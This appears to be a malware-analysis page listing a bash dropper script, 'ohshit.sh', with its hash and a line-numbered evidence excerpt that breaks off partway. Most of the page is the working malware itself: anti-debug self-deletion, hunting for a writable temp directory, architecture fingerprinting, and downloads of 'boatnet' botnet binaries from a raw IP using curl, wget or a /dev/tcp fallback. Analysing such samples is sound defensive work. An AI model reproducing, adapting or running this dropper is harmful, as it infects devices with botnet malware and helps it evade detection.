ohshit.sh
Dropper with persistence and C2
Raw IP download chmod local executeSelf-deleting download chmod execute
SHA-25671bcb1ff944476d06565e1b4ebc6aa74712ecfb8ef4dd0e581f440ebb87fff1e
MaleculeO₃(C₂ErP₂)H₄(Cm₁₁F₇Os₃Po₃)
Evidence
1#!/bin/bash
2
3if [[ -n $DEBUG || -n $SHELLOPTS && $SHELLOPTS =~ xtrace ]]; then
4 rm -f "$0" && exit 1
5fi
6
7for d in /dev/shm /tmp /var/run /mnt /data/local/tmp; do
8 if [[ -d "$d" && -w "$d" ]]; then
9 cd "$d" || continue
10 break
11 fi
12done
13
14ARCH=$(uname -m 2>/dev/null | tr '[:upper:]' '[:lower:]')
15BIN=""
16
17case "$ARCH" in
18 x86_64|amd64) BIN="x86" ;;
19 i[3456]86) BIN="x86" ;;
20 aarch64|arm64)
21 if [[ -f /lib/ld-linux-armhf.so.3 || -f /lib/ld-linux.so.3 ]]; then
22 BIN="arm7"
23 else
24 exit 1
⋯4 lines
30:32… BIN="arm5" ;;
31 arm) BIN="arm" ;;
32 mips|mips64)
33 if echo "$(uname -a)" | grep -q "little"; then
34 BIN="mps1"
35 else
36 BIN="mips"
37 fi
38 ;;
39 mipsel|mips64el) BIN="mps1" ;;
40 powerpc|ppc|ppc64) BIN="ppc" ;;
41 sparc|sparc64) BIN="spc" ;;
42 m68k) BIN="m68k" ;;
43 sh4) BIN="sh4" ;;
44 arc) BIN="arc" ;;
45 *)
46 if grep -qi "aarch64" /proc/cpuinfo 2>/dev/null; then
47 [[ -f /lib/ld-linux-armhf.so.3 ]] && BIN="arm7" || exit 1
48 elif grep -qi "armv7" /proc/cpu …
⋯4 lines
60if command -v getconf >/dev/null 2>&1; then
61 LONG_BIT=$(getconf LONG_BIT 2>/dev/null)
62 if [[ "$BIN" == "arm7" && "$LONG_BIT" == "64" ]]; then
63 BIN="arm64_fallback"
64 fi
65fi
66
67URL_BASE="http://31.77.227.111/hiddenbin/"
68PAYLOAD="boatnet.${BIN}"
69OUTPUT=".$(head -c 8 /dev/urandom | xxd -p 2>/dev/null || echo "update")"
70FOUND=0
71
72if [[ "$BIN" == "fallback" || "$BIN" == "arm64_fallback" ]]; then
73 for try in "x86" "arm7" "mips"; do
74 PAYLOAD="boatnet.${try}"
75 if command -v curl >/dev/null 2>&1; then
76 curl -s --connect-timeout 3 -o "$OUTPUT" "${URL_BASE}${PAYLOAD}" 2>/dev/null
77 else
78 wget -q --timeout=3 -O "$OUTPUT" "${URL_BASE}${PAYLOAD}" 2>/dev/null
79 fi
80 if [[ -f "$OUTPUT" && $(stat -c%s "$OUTPUT" 2>/dev/null || stat -f%z "$OUTPUT" 2>/dev/null) -gt 1024 ]]; then
81 FOUND=1
82 break
83 fi
84 rm -f "$OUTPUT"
85 done
86else
87 if command -v curl >/dev/null 2>&1; then
88 curl -s --connect-timeout 5 --retry 2 -o "$OUTPUT" "${URL_B …
90:17… --timeout=5 --tries=2 -O "$OUTPUT" "${URL_BASE}${PAYLOAD}" 2>/dev/null
91 else
92 exec 3<>/dev/tcp/31.77.227.111/80
93 echo -e "GET /hiddenbin/${PAYLOAD} HTTP/1.0\r\nHost: 31.77.227.111\r\nConnection: close\r\n\r\n" >&3
94 sed '1,/^[[:space:]]*$/d' <&3 > "$OUTPUT" 2>/dev/null
95 exec 3>&-
96 fi
97 if [[ -f "$OUTPU …